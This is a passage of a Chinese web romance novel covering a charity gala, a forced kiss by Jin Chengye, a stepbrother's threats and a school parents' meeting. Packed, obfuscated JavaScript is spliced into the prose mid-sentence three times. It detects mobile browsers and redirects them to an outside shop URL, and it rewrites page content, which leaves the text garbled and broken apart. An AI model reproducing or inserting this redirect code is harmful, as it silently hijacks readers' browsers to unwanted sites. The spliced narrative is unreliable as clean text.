她似乎在看手机,看到靳白进来,她立刻把手机收了起来然后扑过去: “哥哥!你去哪了?养父跟你说什么了?” 靳白没有回答,只是揉了揉靳娇娇的脑袋。 靳娇娇想起刚刚看到的消息:“对了哥哥,上次你说的极光的资料……” “靳娇娇。” 靳白突然开口,声音不重,但靳娇娇的话立刻卡住了。 他很少连名带姓地叫她。 靳白转过身,低头看着挂在自己身上的靳娇娇。 他的桃花眼里没有平时的温柔和宠溺,取而代之的是一种靳娇娇看不懂的烦躁。 “资料的事,以后再说。” 靳娇娇心里咯噔一下,但还是不依不饶:“可是……” “怎么,我说的话不管用了?”靳白的语气冷了一度。 靳娇娇被他这个态度吓了一跳,眼眶立刻红了,委屈地瘪着嘴:“你凶我……” 靳白看着她红了的眼眶,沉默了一会,然后叹了口气,伸手摸了摸她的脸。 “下次我把你安排进极光,到时候要什么资料你自己看。” 靳娇娇的眼泪还挂在睫毛上,听到这话,眼睛立刻亮了:“真的?” “嗯。”靳娇娇破涕为笑,搂着靳白的脖子就要亲他。 靳白却突然按住了她的肩膀。 靳娇娇的动作僵住了。 靳白桃花眼里的很平静,盯着靳娇娇那张娇媚的脸。 柳叶眉,狐狸眼,红唇微启,一副被宠坏了的天真模样。 然后他想起了温静阳。 不管他做了什么,她从来不生气质问,也不要求他给她什么。 她只是安安静静地站在那里,用那双漂亮的杏眼,认认真真地看着他。 好像他是她的全世界。 而靳娇娇呢? 靳白的拇指在靳娇娇的肩膀上按了按。 靳娇娇被他盯得有些发慌,声音小了下去:"哥、哥哥?" 靳白松开了她的肩膀。 他没有说话,饶过靳娇娇往前走去。 这是他必须走的路。 北区码头也好,养父也好,靳娇娇也好。 都是他选的。 他从那个夜晚跪在靳承野面前的那一刻起,就选好了。 他要往上爬。 不择手段的。 直到有一天,他不需要再跪任何人。 还好。 靳白的桃花眼中柔和了一些。 这条路上还有一个叫温静阳的傻姑娘,满眼都是他,乖得让人心软。 至少在这条冰冷的路上,有一个人是真心实意地看着他的。 这就够了。 靳白推开了VI ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17234049|197654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' P病房的门。 病房里空荡荡的。 靳白的脚步停在门口。 他问了查房的护士:“温小姐呢?” 护士翻了翻记录:“温女士已经办理出院了。” 靳白的桃花眼微微眯了一下。 她走了,也没有告诉他。 一种说不清道不明的空落感从胸口蔓延开来。 就在这时,手机震动了。 靳白低头看了一眼。 是温静阳发来的消息。 【靳白,过几天的那个慈善晚宴,可以陪着我吗?】 靳白看着屏幕上那行字。 她的措辞一如既往地乖巧礼貌。 依旧是软软的,甜甜的,带着那种让人没办法拒绝的语气。 靳白的唇角慢慢勾了起来。 他回了一个字。 【好。】 …… 靳承野的车里。 温静阳坐在后座,手机屏幕的光映在她的脸上。 她看到靳白回复的那个“好”字,稍微松了口气。 她想了半天,觉得温屿琛最有可能堵她的地方就是这个慈善晚宴。 至少在明面上,她是靳白的未婚妻。 温屿深再怎么样,也不敢当着靳家人的面撒泼。 她把手机收进了口袋里。 “怎么了?”身旁传来男人低沉的声音。 温静阳转过头,靳承野正看着她。 **什么时候睁开了眼,凤眸在车内昏暗的光线里显得格外幽深。 温静阳摇了摇头,杏眼弯弯:“没事。” 晚宴靳承野有他的女伴,她也不好时时跟着他,所以靳白相对来说是防范温屿琛更合适的人选。 她不想节外生枝,也就没有和靳承野说温屿琛的短信的事。 靳承野看了她两秒,没有追问。 他重新靠回座椅,阖上了眼。 车子在夜色中平稳地行驶着。 温静阳靠着车窗,看着外面飞速掠过的路灯。 一盏,两盏,三盏。 她的好哥哥啊。 这里可是京港市。 第24章 靳承野失控的吻 慈善晚宴。 京港市洲际酒店。 肖邦的夜曲与觥筹交错的低语交织,衣香鬓影。 温静阳跟在靳白身后走进宴会厅的时候,不少目光都投了过来。 她今晚穿了一条奶白色的长裙,领口收得规矩,整个人看着又仙又纯。 而靳白站在她的身侧,桃花眼含笑,偶尔低头和她说两句话。 温静阳的目光扫过宴会,没找到温屿琛,不过很快就看到了不远处的靳承野。 他站在落地窗前,手里端着一杯没怎么动过的红酒。 黑色高定西装裁剪得体,身形高大修长,龙章凤姿、孤松独立,即便不在中心位置,身边依旧围了一群阿谀奉承的人 他始终一个人站在那里,也没有看到其他女人。 温静阳有些疑惑,他没有带女伴吗? 就在这时,一个女声从侧面传来:“承野。” 女人端着一杯香槟走了过来,浅青长裙贴身,气质淡雅温柔,满是书卷气息。 她在靳承野身旁站定,微微侧过身,声音压得很低:“好久不见。” 靳承野疏离颔首:“沈小姐。”目光却穿过人群,精准地捕捉到了温静阳的视线,两人一时间隔着人群对视上了。 温静阳一惊,连忙收回了目光。 她身边的靳白似乎察觉到她的动作,低头温柔地问了一句:“在看什么?” 温静阳收回目光,仰头对他甜甜一笑:“在看你呀。” 靳白的桃花眼弯了弯。 …… 宴会进行了大约半个小时。 温静阳闷的难受,见温屿琛好像不在,就端着一杯气泡水,溜到宴会厅侧面的露台入口处透气。 只是她不知道,不远处,靳承野一直在看着她。 夜风****,吹得她耳边碎发轻轻晃动。 她低头看着杯子里的气泡,一颗一颗地往上冒。 “阳阳。” 一个熟悉的温润男声从身后传来。 温静阳身子僵住了。 她没有回头。 但那股熟悉的冷杉味已经飘了过来,混在夜风里,淡淡的,却让她的胃开始翻搅。 温屿深从她身后走到了她的侧面。 他穿着一身剪裁考究的藏蓝色西装,金丝边框的眼镜架在鼻梁上。 整个人看着斯文儒雅,温和体面。 任谁看了都会觉得,这是一个教养良好的世家公子。 “哥哥说了想见你,你怎么不回消息呢?”他的语气带着几分无奈的宠溺,只是在责怪一个不听话的妹妹。 温静阳终于转过头来。 她的杏眼弯弯的,笑容甜美,声音软得像棉花糖:“温少爷,好久不见。” 听到这个称呼,温屿深的笑容没有变,但眼镜片后面的眼神暗了一度。 “怎么跟哥哥生分了?”他往前走了半步,声音压低了一些,“是不是在外面待久了,把家里人都忘了?” 温静阳往后退了半步,背已经贴到了露台的栏杆。 她的笑容依旧甜美,语气依旧乖巧:“温先生说笑了,记得呢。” 她当然记得。 记得那个雪夜。 男人的手,炙热。 然后是呼吸,带着酒气,粗重。 还有完全无法撼动的重量。 那一模一样的声音贴着她的耳边道:“阳阳。” 以及她抽出的刀。 她对着同一个地方,连续捅了五刀。 当时的血,染红了她的衣裳。 她全身都在颤抖。 温屿深看着她退开的动作,唇角的笑意更深了。 他打开了手机,将屏幕递向温静阳:“阳阳,看看这个吧。” 屏幕上纠缠的两个人。 靳白和一个看不清脸的女人,看身材像靳娇娇。 温静阳看着那些照片,表情没有任何变化。 温屿深观察着她的反应,声音温柔得像是在安慰一个受伤的孩子:“阳阳,这就是你千里迢迢跑来京港市要嫁的男人。” 他叹了口气,语气里满是心疼:“何必呢?跟哥哥回家不好吗?” “哥哥不会这样对你的。” 温静阳:“……” 温屿琛大概想不到,这对狗男女偷人的时候,是当着她的面的。 温静阳抿了抿唇,努力憋下笑,酝酿了一下情绪,然后抬眸,杏眼水润润地看着温屿深。 “我知道的呀。” 温屿深一愣。 温静阳杏眼弯成了月牙,笑容甜到发腻:“可是我不在意呀。” “因为我喜欢他呀。” “就算他有别的女人也没关系的。” “只要他幸福,我也就幸福了。” 温屿深看着她这副样子,金丝眼镜后面的眼神一点一点地冷了下去:“阳阳……” 他的声音还是温柔的,但温柔底下压着的东西, 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温静阳顺势靠进了他的怀里,小脸贴着他的胸口,声音软糯:“有点闷,出来透透气。” 靳白扫了一眼温屿琛:“温少爷,我和静阳还有事,就先告退了。” 温屿深温静阳贴在靳白胸口那副小鸟依人的模样。 他的手指在袖口里攥了攥,然后松开了。 他依旧一副温润体贴的模样:“当然,靳少爷。” 他说着,目光落在温静阳身上,语气里带着兄长的慈爱:“阳阳,哥哥住在璟澜酒店,什么时候想回家了,随时来找哥哥。” “毕竟……我们还有些事,没处理完。” 温静阳握紧了手中的杯子,笑得甜美:“好的,哥哥。” 然后跟着靳白离开了。 远处,靳承野将手中的红酒一饮而尽。 …… 温静阳在洗手间补完妆,回到走廊。 走廊灯光昏暗,也很安静。 她才刚过一个拐角,突然手腕被人攥住了,整个人被猛地按到了墙上。 对方用手帮她垫了一下,不疼,但随后就对方被紧紧钳制住。 温静阳还没来得及看清男人,他的唇就重重压上来。 瞬间,檀木的香气铺天盖地地涌过来。 第25章 温小姐,领口歪了 靳承野吻得又狠又重。 着一种被压抑了太久之后终于溃堤的力度。 他贴着她的唇,先是用力地碾了一下,然后微微松开,换了个角度,重新覆上来,掠夺攫取。 男人一只手死死地扣扣着她的手腕,另一只手掌牢牢扣着她的后脑勺,五指**她的发间,迫使她昂头承受他,完全不容挣脱。 腕上的紫檀念珠抵着她的颈肉,又硬又凉。 “喜欢到就算全世界都反对,我也要嫁给他。” 这句话,靳承野听到了。 明明她以前说过: “这个世界上最最喜欢阿野了。” 那张小嘴贯会哄人,以前哄他,现在又去哄别人。 偏偏他每次都信了。 他早就知道的。 温静阳不爱他。 从来没有。 六年前不爱,现在也不爱。 她答应做他的人,不是因为对他有任何感情,而是因为他手里握着她的把柄。 她需要一把刀,他恰好是那把刀。 仅此而已。 这没有关系。 他不需要她的爱。 一点都不需要。 他只需要她在。 哪怕她恨他。 ……... “放,放开我……”温静阳的手本能地抵在他的胸口上想要推开,可是完全都推不动。 而且…… 很奇怪。 她不反感靳承野。 包括酒店的时候,上次在婚纱店的时候,都没有排斥的感觉。 终于在温静阳要扛不住的时候,靳承野突然停了下来,然后极其用力地把她按进了怀里,让她的脸紧紧贴着他结实的胸膛。 然后温静阳就听到了靳娇娇的声音:“小,小叔?!” …… 靳娇娇站在走廊拐角处,整个人僵在那里。 她看到的画面是她那个不近人情、可怕至极、毫无人情、骇人听闻的小叔,搂着一个……女人! 女人的脸埋在他怀里,只露出一截奶白色裙摆的后背和散落的黑发。 小叔的手按着那个女人的后脑勺,姿态亲密到了极点。 靳娇娇只觉得大脑有颗核弹炸开了。 晚宴、角落、女人、亲密姿势? 这这这不是二世祖才会有的标配吗? 怎么会出现在她那个无人敢靠近的小叔身上?! “我,我来找哥哥的……”靳娇娇的声音发虚,也不敢乱看,连连后退几步,“打、打扰了……” 靳承野没有看她。 他的下巴搁在温静阳的头顶,凤眼垂眸看着自己怀里柔软娇小的身影,声音不咸不淡:“靳白在东厅。” 他的手有一搭没一搭地轻轻抚摸过怀中人的后背,感受到女孩的身体变得僵硬,他幽深的凤眸里闪过一丝极浅的笑意。 靳娇娇得了话则是立刻连滚带爬地转身跑了。 高跟鞋敲击地面的声音越来越远,越来越急,最后消失在走廊的另一端。 走廊重新安静下来。 温静阳的脑袋埋在靳承野的怀里,她的鼻尖全是他身上檀木香。 他的怀抱宽厚、温暖。 “她走了吗?” 温静阳的声音被捂得瓮声瓮气的。 靳承野低低嗯了一声。 温静阳抬头,只看到靳承野的凤眼里,那些翻涌的东西正在一层一层地被压回去。 但还没有完全退干净。 温静阳看得心里犯怵,小声地唤了一声:“靳先生……” 语调依旧是软软糯糯的甜,只是尾音还带着一丝没来得及藏好的颤意。 靳承野目光落在怀里的女孩身上。 她双颊绯红,杏眼里水雾氤氲的,睫毛还在轻轻地颤,唇瓣红润润的,微微肿着。 靳承野的喉结滚动了一下。 然后他松开了手。 他的表情已经恢复了惯常的冷淡。 凤眼平静,唇线紧抿,似乎刚才那个把她按在墙上吻到缺氧的人不是他。 温静阳靠着墙站了好一会,才缓过来:“靳先生。"她软软的声音带着点控诉的意味,“你刚才……” “领口歪了。”靳承野打断了她。 他伸手,不紧不慢地帮她把裙子的领口理正了。 指尖擦过她雪白皮肤,带着热意。 然后他收回手,转身,不紧不慢地往宴会厅的方向走去。 温静阳怔怔站在原地,看着他的背影。 她摸了摸自己还在发烫的嘴唇。 领口歪了? 她低头看了看。 她这是高领,怎么可能歪! 温静阳:“……” …… 宴会进入了尾声。 乐队换了一首舒缓的曲子,侍者穿梭在人群中收着空杯。 温静阳在宴会厅里转了一圈,没有找到靳白。 她掏出手机,才发现有一条靳白不久前发来的消息。 【有点急事,先走了。晚上早点回去。】 温静阳看着那行字,又想起了靳娇娇刚才慌慌张张跑去“找哥哥”的样子。 哦。 急事。 温静阳把手机收回了包里,脸上的表情没什么变化。 她端起侍者托盘上最后一杯气泡水,慢慢喝了一口。 气泡在舌尖上炸开,凉丝丝的。 …… 另一边,靳承野刚回到宴会上,沈千嫆就走了过来。 她换了一杯新的香槟,站在他的右侧,保持着一个恰到好处的距离。 这是她能靠近他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17234051|197654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最近距离。 靳承野拿过一杯威士忌,没有看沈千嫆。 沈千嫆狐疑地打量一会靳承野,却也没看出什么端倪。 她也不敢问靳承野做什么去了,只是想起之前靳白身边的温静阳。 她侧过脸,看着靳承野那张冷峻的侧脸,一字一句地说了出来:“你是不是忘了,当年她是怎么离开的?” “她宁可从悬崖上跳下去,也不愿意留在你身边。” “承野,你还要对这个女人抱有幻想吗?” 她说完这句话的时候,声音里带着一丝极力克制的颤抖。 靳承野终于侧过了头。 他的凤眼目光落在沈千嫆的脸上。 完全的冷漠。 沈千嫆的笑容僵在了脸上。 “沈小姐。”靳承野的声音低沉平稳,听不出任何情绪。 “你我之间的事,沈家和靳家自有安排。” “但她的事。” 他顿了顿。 “不在你能过问的范围内。” 说完,靳承野离开了。 沈千嫆站在原地,眼眶一点一点地红了。 从小到大,她做了所有正确的事。 学最好的学校,修最好的礼仪,为了就是能够配得上京港市最有前途的男人。 她等了这么多年,从少女等到了现在。 可他从来没有正眼看过她。 六年前,有一个女孩闯进了他的世界。 那个女孩什么都没做,只是笑了笑,就把她等了一辈子的人带走了。 后来那个女孩跑了,她以为自己终于有机会了。 可现在,那个女孩又回来了。 沈千嫆垂下眼,将杯中剩余的香槟一饮而尽。 她不甘心! 她怎么能甘心! 靳承野他位高权重,这样优秀的男人,有资格站在他身边的女人只有她。 她的目光隐秘地落向了宴会角落那个白色身影上。 然后重新挂上了那副淡雅从容的笑容。 如果没记错的,温静阳……好像是明德律师事务所的律师吧。 …… 宴会散场。 酒店门口的车道上排满了等候的豪车,司机们毕恭毕敬地为各家贵客拉开车门。 温静阳站在车道边缘,盯着手机屏幕。 打车软件上显示:预计等待23分钟。 京港市中心的晚高峰,加上宴会散场,附近的没什么车。 夜风吹过来,她打了个小小的喷嚏。 这时一道车灯的光从侧面扫了过来,一辆黑色的劳斯莱斯幻影,稳稳地停在了她面前。 温静阳:“?” 后座的车窗降下来。 靳承野坐在里面,凤眼淡淡地看着她。 “上车。” 第26章 第二个吻 温静阳条件反射地站直了身子,然后露出一个甜甜的笑容:“靳先生,不用麻烦您了,我已经叫了车……” “温屿深从东门出来了。”靳承野平淡地打断了她,“正往这个方向走。” 温静阳的笑容凝固了零点三秒。 然后,她瞬间拉车门,上车,坐好,关车门,双手乖乖放到膝盖上。 动作一气呵成、干净利落。 至于“不用麻烦”?她没说过。 车内安静了一会。 温静阳则对着靳承野露出了一个甜到能腻**的笑容:“靳先生您是最最善良的好人呢,您最好了,真是活佛在世!” 她的语调一个字比一个字软,一句话比一句话甜,杏眼弯成了月牙,真诚得不能再真诚。 靳承野靠在座椅上,凤眼闭目养神,听她叽叽喳喳地说了一串。 等她终于停下来喘了口气,他才不紧不慢地开口:“温律师也挺好的,比如就挺……” 温静阳眨了眨眼。 靳承野慢悠悠地吐出四个字:“和蔼可亲。” 温静阳:“……” 这不是上次在电梯里她夸他的话嘛? 这男人居然记到现在。 温静阳的嘴角抽了抽,但她现在坐着人家的车,还得靠人家帮她躲的温屿深。 她深吸一口气,把那股子郁闷咽了下去,然后继续甜甜地笑着:“是呀,靳先生说得对呢。” “我确实挺和蔼可亲的。” 靳承野的凤眼微微睁开了一些,看了她一眼。 温静阳顶着那道目光,笑容纹丝不动。 车内安静了几秒。 然后靳承野似乎极轻地笑了一声。 很短。 温静阳:“?” 他居然笑她! 车子在夜色中平稳地行驶着。 路灯的光一盏一盏地从车窗外掠过,在两个人的脸上交替明灭。 温静阳靠着车窗,看着外面的夜景,渐渐地有些犯困。 今天折腾了一整天,身体还没完全恢复,困意像潮水一样涌上来。 她的眼皮越来越沉,脑袋一点一点地往下垂。 靳承野看了一眼,伸手把她的脑袋轻轻按到了自己的肩膀上。 温静阳迷迷糊糊地蹭了蹭,找了个舒服的角度,然后就不动了。 靳承野低头看着靠在自己肩膀上的女孩。 她的睫毛长长的,在脸颊上投下一小片阴影。 睡着了。 靳承野没再动,甚至放慢了自己的呼吸,怕惊醒她。 手里的念珠也停了下来。 “开慢点。”他低声吩咐。 …… 不知多久后,车子拐进了炉厂小区的巷子,然后停了下来。 靳承野侧过身,抬手轻轻碰了碰温静阳的脸颊。 “到了。” 温静阳的睫毛颤了颤,迷迷糊糊地睁开眼。 靳承野的手还搭在她的脸颊上,拇指轻轻蹭了蹭她的皮肤。 然后他低下头,吻落了下来。 这一次的吻和走廊里的完全不同。 他的唇轻轻贴上来,慢慢地,一点一点地描摹着。 他吻得很轻,带着一种小心翼翼的、怕弄碎什么东西似的温柔。 和他这个人给人的感觉截然不同。 温静阳半梦半醒之间,脑子还糊着,身体却诚实地没有躲开。 只是觉得,他好像心情很好。 不知道过了多久,靳承野才慢慢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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靳家的基因果然不一般。 “阳阳姐姐,我有一件事想拜托你。”靳念旸的语气规规矩矩的,小手垂在身侧,指尖却在裤缝上轻轻蹭了蹭。 温静阳注意到了那个小动作。他在紧张。 “什么事呀?”她放软了声音。 “今天学校有家长会。”靳念旸顿了顿,“我想请你去。” 温静阳愣了一下,律所那边还有事:“对不起哦,姐姐今天有工作。” 靳念旸那双和靳承野一样的眼睛暗了下去,但他还是努力绷着神情不变:“我知道了,打扰了。” 他说完就要转身。 温静阳看着男孩可可怜怜的模样,叹了口气:“平时谁去参加你的家长会?” 靳念旸转过身,黑眸看着她:"景砚修。" 温静阳:“你父亲呢?” 靳念旸:“父亲很忙。”他顿了顿补充了一句:“袁鹏的爸爸妈妈也会去。” 袁鹏是之前“欺负”靳念旸的小胖子。 靳念旸垂下了眼睛,他的声音变得很轻:“每次家长会,别的小朋友都是爸爸妈妈来。” “只有我是一个不认识的叔叔。” 楼道尽头透进来的一点天光,照在男孩小小的失落的侧脸上。 温静阳的攥紧了手中的钥匙,金属的齿咬进掌心,有点疼,然后她站起身,把钥匙揣回了口袋里:“走吧。” 靳念旸抬头看她。 温静阳弯了弯眼睛,声音软软的:"姐姐陪你去。" 靳念旸的睫毛颤了一下,他依旧一副沉稳的模样,只是点了点头:“好。” 声音却比刚才稍微大了一点。 温静阳给赵悦发了条消息:【悦姐,今天上午请个假。】 【帮小朋友开家长会。】 赵悦:【收到。等一下,你什么时候有小朋友了???】 …… 温静阳坐在专门负责接送靳念旸的保姆车里。 她偏头看了一眼身旁的小男孩。 男孩坐得端端正正,双手放在膝盖上,目视前方,活像个缩小版的靳承野在开董事会。 温静阳瞧得有趣,不过却想起了一件事。 “念念。” 似乎是听到温静阳的称呼变了,男孩的嘴角微微勾起,然后又放下了,他看向温静阳:“怎么了?阳阳姐姐?” “你为什么称呼景律师为景砚修?” 靳念旸不太理解她的问题:“那是他的名字。” “你平时就这么叫他的?” “父亲就是这样叫他的。”靳念旸的语气理所当然。 温静阳又问:“那靳白呢?” “靳白。父亲也是这样叫的。” “你这么叫,你父亲没说什么?” “没有。” 温静阳:“……” 靳承野是完全不教他礼貌称呼的吗?! “念念,喊长辈的时候,应该用叔叔阿姨或者哥哥姐姐。”温静阳声音放软了许多,耐心道:“就像你叫我阳阳姐姐一样。” 靳念旸认真听着,然后听到“阳阳姐姐”时皱了皱眉。 他沉默了一会:“可是我和他们不熟,也不亲近。” 他认真地看着温静阳:“我只想叫你姐姐。” 或者妈妈。 这两个字在他的舌尖滚了一圈,被他咽了回去。 温静阳看着他那张一本正经的小脸,心口又是一阵发软。 但还是耐着性子解释:“这不是熟不熟的问题,是礼貌。就像你见到老师会说老师好,不会直接喊老师的名字,对不对?” 靳念旸想了想,然后点了点头:“我会听阳阳姐姐的话。” 他说这句话的时候,语气依旧是那种老气横秋的平淡,但尾音微微上扬了一点点。 温静阳没忍住笑了一声。 靳念旸看着她笑,耳尖悄悄红了一点,立刻把头转向了车窗的方向。 …… 京港市中城国际学校。 家长会设在小学部的多功能厅里。 温静阳跟着靳念旸走进教学楼的时候,走廊里已经三三两两地站着不少家长,都是衣着考究,谈吐得体,一看就是京港市有头有脸的人物。 靳念旸走在她身侧,步子不紧不慢,小脸上是惯常的平静。 到了教室门口,班主任正在门口迎接家长,笑容职业而周到。 温静阳走上前,语气礼貌:“老师您好,我是靳念旸的家长。” 班主任低头翻了翻手里的名单,表情有些意外:“靳念旸的家长?可是……靳念旸的家长已经到了。” 温静阳的动作顿了一下。 靳念旸也微微皱眉,抬头看向教室里面。 “温小姐。”一个温柔的女声从教室里传了出来。 沈千嫆从座位上站起身,朝门口走来,温柔典雅。 温静阳甜甜地笑了笑:“沈小姐好。” 沈千嫆的目光看向靳念旸:“念念,阿姨来陪你开家长会,好不好?” 靳念旸没有回应她,而是往温静阳身边靠了半步。 沈千嫆收回目光,重新看向温静阳: “温小姐,念念的家长会,一直都是靳家安排的人来参加。” “你和念念……似乎没有什么关系吧?” 她笑容依旧温和,声音却高了一些,吸引了周围人的注意: “温小姐贸然以家长的身份出现在这里,恐怕……会让人误会温小姐的用心。” 每个字都在暗示:你一个外人,跑来冒充人家孩子的家长,居心不良。 但周围几个正在签到的家长被声音吸引,投来了好奇的目光,时不时夹杂着几声窃窃私语。 “她是我请来的。”靳念旸的小脸绷紧了。 沈千嫆的笑容僵了一瞬,随即恢复如常:“念念乖,平日里温小姐总是刻意顺着你,阿姨知道你一时间分不清谁才是真心为你的,但家长会是很正式的场合,应该由家里人来……” 她看着靳念旸的目光透着几分不易察觉的冷意。 温静阳注意到沈千嫆的目光,于是把靳念旸往身后拉了拉。 “沈小姐。” 她的杏眼弯成了月牙,笑容乖巧得无可挑剔: “您似乎和靳家也没有什么关系吧?” 她带上了几分刻意的引导。 “还是说……是靳先生委托您来的?” 沈千嫆没的笑容没有变,自得道: “自然是承野拜托我的。” “毕竟不像念念,小孩子说的话不算数的。” 温静阳勾唇:“那太好了。”她歪了歪头,语调天真无辜,“既然是靳先生安排的,那我们联系靳先生确认一下好了。” 她拿出了手机。 沈千嫆才反应过来被温静阳套话了,脸色顿时变了。 也不是她不设防,实在是靳承野位高权重,其他人往往都是重之又重的大事才敢贸然打扰他。 她完全没想到温静阳敢直接联系靳承野,而且还这么熟稔自然。 沈千嫆自然没有得到靳承野的授意。她是打听到今天有家长会,自己过来的。 “不用联系。”就在这时,有声音传来。 议论的人群立刻静了下来。 温静阳回头,是靳承野。 男人稳步走来,周围的家长们不自觉地往两边让了让。 班主任的眼睛瞬间瞪大了,手里的名单差点掉在地上。 靳家家主亲自来参加家长会,这大概是这所贵族学校建校以来最大的排面了。 靳承野看了一眼温静阳和靳承野,确认良人无恙后,没看沈千嫆,而是看向班主任:“我是靳念旸的父亲。” 班主任连连点头,声音都在发抖:“靳,靳先生好……” 沈千嫆温柔的声音插了进来:“承野,我以为你今天没空,所以想着来帮忙……” “家长栏填两个人。”靳承野打断了沈千嫆的话,目光落在签到表上。 班主任愣了一下:“两个?” 靳承野侧过头,看了一眼温静阳:"我,和她。" 走廊里安静了一瞬。 沈千嫆站在几步之外,笑容僵住了。 周围的家长们看看她,又看看靳承野身边的温静阳,目光里的意味不言而喻。 温静阳也愣了一下,但很快就恢复了那副甜甜软软的模样,乖乖地在签到表上写下了自己的名字。 靳承野在她旁边签了字。 两个人的名字并排写在家长栏里。 沈千嫆见状的脸色白了又白。 她看着温静阳牵着靳念旸,靳承野守在她的身侧,三人签完字后往教室走去。 像一家人。 她站了几秒,然后不甘心地叫住了温静 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她偏头,低声问靳念旸:“袁鹏呢?怎么没看到他?” 靳念旸跟着也装模作样地扫了一圈教室,故作沉思:“好奇怪,他怎么没有来。” 温静阳正要说什么,靳承野平淡的声音从另一边传来:“他转学了。” 温静阳点了点头。 靳念旸也跟着点了点头:“原来如此。” 靳承野的凤眼淡淡地扫了一眼自己的儿子,然后面无表情地拆台:“我跟你说过这件事的。” 温静阳:“……” 靳念旸:“……” 小男孩的表情僵了一会,然后他伸出手,轻轻拉了拉温静阳的袖子,小脸上一本正经:“很抱歉,阳阳姐姐,我记错了。” 语气诚恳,态度端正,道歉标准得像是从礼仪教科书上抄下来的。 温静阳看着他那张严肃得过了头的可爱小脸,没忍住伸手揉了揉。 怎么这么可爱呢。 “没关系的呢,念念弟弟。”温静阳的声音软软的。 靳念旸的身体僵了一下。 她的手掌温热柔软,贴在他的脸颊上,带着她身上那种淡淡的甜味。 靳念旸的耳尖迅速红了起来,低下头,揪着校服的衣角,不再说话了。 靳承野坐在一旁,凤眼看着身旁的女孩伸手揉儿子脸的模样,她漂亮杏眼眯起,一副坏事的小猫的模样。 他手里的念珠慢慢转了一圈,然后停了下来。 眼中多了几分柔和。 怎么这么可爱呢。 …… 家长会的最后一个环节,是亲子互动。 大概是让家长指导小朋友们画一幅全家福,画完会贴在班级的展示墙上。 靳念旸认真作画。 他画了一个黑发的高大男人,手腕上画了一串圆圆的珠子。 然后是一个女人,衣服颜色和温静阳现在穿的一样。 以及两人中间一个小小的男孩。 三个人。 温静阳看着画纸上的女人,犹豫了一下,开口:“念念,这个……” 温静阳刚想说她不应该出现在上面。 “其他人的画都是三个人。”靳承野的声音从旁边传来,平淡,不带任何情绪。 温静阳的话卡在了喉咙里。 她扫了一眼周围其他孩子的画纸,确实,每张画上都是三个人。 爸爸,妈妈,孩子。 如果靳念旸的画上只有两个人,贴在展示墙上,又会变成那句话。 靳念旸没有妈妈。 温静阳闭上了嘴,没有再说什么。 靳念旸低着头,认认真真地给画像上的女人补充细节,他画温静阳画得格外认真。 画完之后,他把蜡笔放回盒子里。 靳念旸趁温静阳低头帮他整理蜡笔盒的时候,朝靳承野做了一个口型。 “谢谢父亲。” 没有声音。 靳承野看了他一眼,然后平淡地收回了目光,手指重新拨动了念珠。 …… 家长会结束后,三个人沿着走廊往外走。 靳念旸走在温静阳和靳承野中间,他勾起的嘴角今天一整天都没有放下来过。 走到校门口的时候,靳念旸突然停下脚步,他看向温静阳:“阳阳姐姐,我可以叫你妈妈吗?” 第28章 其实,念念他是我儿子 靳念旸这话问得靳承野也有些出乎预料。 他凤眼落在自己儿子身上,停了两秒,然后移开了。 小孩子。 心性耐性不足。 收网太快,猎物会跑的。 温静阳蹲下身,和靳念旸平视。 男孩那双黑沉沉的眼睛正认认真真地看着她,里面装着一种和他年龄完全不匹配的郑重。 温静阳的心口软了一下,又软了一下,但她还是摇了摇头: “念念,姐姐是你哥哥靳白的未婚妻。”她的声音放得很轻很轻,像是怕把什么东西碰碎了,“不能叫我妈妈的。” 靳念旸的睫毛垂了下去,他没有说话,只是站在那里,小小的身体绷得笔直,两只手规规矩矩地垂在身侧。 他在消化。 用他那套远超同龄人的、被靳承野训练出来的自控力,把涌上来的所有情绪一层一层地压回去。 但他的指尖在裤缝上蹭了一下。 又蹭了一下。 温静阳看到了那个小动作,胸口堵得厉害。 她伸手轻轻碰了碰男孩的脸颊,声音更软了:“念念很乖的,姐姐很喜欢念念。” “以后有什么事,都可以来找姐姐,好不好呀?” 靳念旸抬起头。 他的表情依旧是那种老气横秋的平静,但眼底的光暗了不少,像是月亮被云遮住。 他沉默了好一会。 然后开口,声音很轻:“阳阳姐姐。” “嗯?” “你可以给我买一个栗子蒙布朗吗?” 温静阳愣住了。 靳念旸的黑眸看着她,语气认真执拗:“就是你上次给那个绵绵买的那种。” 温静阳怔了怔,然后轻轻笑了出来。 她伸手抱住了靳念旸:“好呀,明天姐姐给你买。” 靳念旸的嘴角动了动,很小的幅度,几乎看不出来,小手回抱住温静阳。 靳承野站在几步之外,看着这一幕。 阳光照在她们身上,把两个人的影子拉得很长。 六年前,她也是这样抱着刚出生的靳念旸的,杏眼里全是光:“阿野,你看我们的孩子。” 她低头亲了亲婴儿的额头:“你好呀,小家伙。” 那是她对靳念旸说的第一句话。 明明当时的她这么爱靳念旸,可是却最后还是这么决绝地离开他们。 靳承野的目光深了些。 …… 黑色的劳斯莱斯停在了明德律师事务所的楼下。 温静阳推开车门,回头朝车内弯了弯眼睛:“谢谢靳先生。” 